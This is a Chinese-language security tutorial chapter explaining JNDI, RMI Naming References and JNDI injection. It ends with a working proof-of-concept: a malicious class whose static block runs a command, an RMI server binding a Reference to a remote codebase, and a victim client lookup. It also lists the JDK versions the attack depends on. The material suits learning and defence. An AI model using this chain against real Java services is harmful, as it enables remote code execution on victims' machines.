我們在上一章《攻擊rmi的方式》中提到了rmi的一大特性——動態類加載。而jndi注入就是利用的動態類加載完成攻擊的。在談jndi注入之前,我們先來看看關於jndi的基礎知識
0x02 jndi是個啥jndi的全稱為Java Naming and Directory Interface(java命名和目錄接口)SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行交互、如圖
上面提到了命名服務與目錄服務,他們又是什麼呢?
命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI就是典型的命名服務
目錄服務目錄服務是命名服務的拓展。它與命名服務的區別在於它可以通過對象屬性來檢索對象,這麼說可能不太好理解,我們舉個例子:比如你要在某個學校裡裡找某個人,那麼會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關係就很像目錄關係,所以這種存儲對象的方式就叫目錄服務。LDAP是典型的目錄服務,這個我們暫且還沒接觸到,後文會提及
其實,仔細一琢磨就會感覺其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。
在一開始很多人都會被jndi、rmi這些詞彙搞的暈頭轉向,而且很多文章中提到了可以用jndi調用rmi,就更容易讓人發昏了。我們只要知道jndi是對各種訪問目錄服務的邏輯進行了再封裝,也就是以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕鬆訪問rmi或者ldap服務,這樣訪問不同的服務的代碼實現基本是一樣的。一圖勝千言:
從圖中可以看到jndi在訪問rmi時只是傳了一個鍵foo過去,然後rmi服務端返回了一個對象,訪問ldap這種目錄服務室,傳過去的字符串比較複雜,包含了多個鍵值對,這些鍵值對就是對象的屬性,LDAP將根據這些屬性來判斷到底返回哪個對象.
在JNDI中提供了綁定和查找的方法:
bind:將名稱綁定到對象中;
lookup:通過名字檢索執行的對象;
下面的demo將演示如何用jndi訪問rmi服務:
先實現一個接口
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
然後創建一個類實現上面的接口,這個類的實例一會將要被綁定到rmi註冊表中
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
上面的都是簡單的創建一個遠程對象,和之前rmi創建遠程對象的要求是一樣的,下面我們創建一個類實現對象的綁定,以及遠程對象的調用
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception{
//配置JNDI工廠和JNDI的url和埠。如果沒有配置這些信息,會出現NoInitialContextException異常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
// 創建初始化環境
Context ctx = new InitialContext(env);
// 創建一個rmi映射表
Registry registry = LocateRegistry.createRegistry(1099);
// 創建一個對象
IHello hello = new IHelloImpl();
// 將對象綁定到rmi註冊表
registry.bind("hello", hello);
// jndi的方式獲取遠程對象
IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
// 調用遠程對象的方法
System.out.println(rhello.sayHello("axin"));
}
}
成功調用遠程對象的sayHello方法
由於上面的代碼將服務端與客戶端寫到了一起,所以看著不那麼清晰,我看到很多文章裡吧JNDI工廠初始化這一步操作劃分到了服務端,我覺得是錯誤的,配置jndi工廠與jndi的url和埠應該是客戶端的事情。
ps:可以對比一下前幾章的rmi demo與這裡的jndi demo訪問遠程對象的區別,加深理解
0x04 JNDI動態協議轉換我們上面的demo提前配置了jndi的初始化環境,還配置了Context.PROVIDER_URL,這個屬性指定了到哪裡加載本地沒有的類,所以,上面的demo中 ctk.lookup("rmi://localhost:1099/hello")這一處代碼改為 ctk.lookup("hello")也是沒啥問題的。
那麼動態協議轉換是個什麼意思呢?其實就是說即使提前配置了Context.PROVIDERURL屬性,當我們調用lookup()方法時,如果lookup方法的參數像demo中那樣是一個uri地址,那麼客戶端就會去lookup()方法參數指定的uri中加載遠程對象,而不是去Context.PROVIDERURL設置的地址去加載對象(如果感興趣可以跟一下源碼,可以看到具體的實現)。
正是因為有這個特性,才導致當lookup()方法的參數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類。
但是你以為直接讓受害者去攻擊者指定的rmi註冊表加載一個類回來就能完成攻擊嗎,是不行的,因為受害者本地沒有攻擊者提供的類的class文件,所以是調用不了方法的,所以我們需要藉助接下來要提到的東西
0x05 JNDI Naming ReferenceReference類表示對存在於命名/目錄系統以外的對象的引用。如果遠程獲取 RMI 服務上的對象為 Reference 類或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他伺服器上加載 class 文件來進行實例化。
Java為了將Object對象存儲在Naming或Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming或Directory服務下,比如RMI、LDAP等。
在使用Reference時,我們可以直接將對象傳入構造方法中,當被調用時,對象的方法就會被觸發,創建Reference實例時幾個比較關鍵的屬性:
當然,要把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了,demo如下:
// 第一個參數是遠程加載時所使用的類名, 第二個參數是要加載的類的完整類名(這兩個參數可能有點讓人難以琢磨,往下看你就明白了),第三個參數就是遠程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
當有客戶端通過lookup("refObj")獲取遠程對象時,獲取的是一個Reference存根(Stub),由於是Reference的存根,所以客戶端會現在本地的classpath中去檢查是否存在類refClassName,如果不存在則去指定的url(http://axin.com:6666/refClassName.class)動態加載,並且調用insClassName的無參構造函數,所以可以在構造函數裡寫惡意代碼。當然除了在無參構造函數中寫利用代碼,還可以利用java的static代碼塊來寫惡意代碼,因為static代碼塊的代碼在class文件被加載過後就會立即執行,且只執行一次。
了解更多關於static代碼塊,參考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html
0x06 JNDI注入jndi注入原理就是將惡意的Reference類綁定在RMI註冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI註冊表中綁定的惡意Reference類,從而加載遠程伺服器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行
jndi注入的利用條件上面兩個都是在編寫程序時可能存在的脆弱點(任意一個滿足就行),除此之外,jdk版本在jndi注入中也起著至關重要的作用,而且不同的攻擊響亮對jdk的版本要求也不一致,這裡就全部列出來:
JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的默認值被設置為true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊。
JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。
jndi注入 demoimport javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
public class EvilObj {
public static void exec(String cmd) throws IOException {
String sb = "";
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while((lineStr = inBr.readLine()) != null){
sb += lineStr+"\n";
}
inBr.close();
inBr.close();
}
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
return null;
}
static {
try{
exec("gnome-calculator");
}catch (Exception e){
e.printStackTrace();
}
}
}
可以看到這裡利用的是static代碼塊執行命令
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}
可以看到這裡的lookup方法的參數是指向我設定的惡意rmi地址的。
然後先編譯該項目,生成class文件,然後在class文件目錄下用python啟動一個簡單的HTTP Server:
python-mSimpleHTTPServer6666
執行上述命令就會在6666埠、當前目錄下運行一個HTTP Server:
然後運行Server端,啟動rmi registry服務
最後運行客戶端(受害者):
成功彈出計算器。注意,我這裡用到的jdk版本為jdk1.7.0_80,下面是rmi動態調用的一個流程
放一些參考文章:
https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/
https://xz.aliyun.com/t/6633#toc-5
https://paper.seebug.org/417/
https://security.tencent.com/index.php/blog/msg/131
下一章,我們來看一下fastjson的反序列化,其中就會利用到jndi這一攻擊手法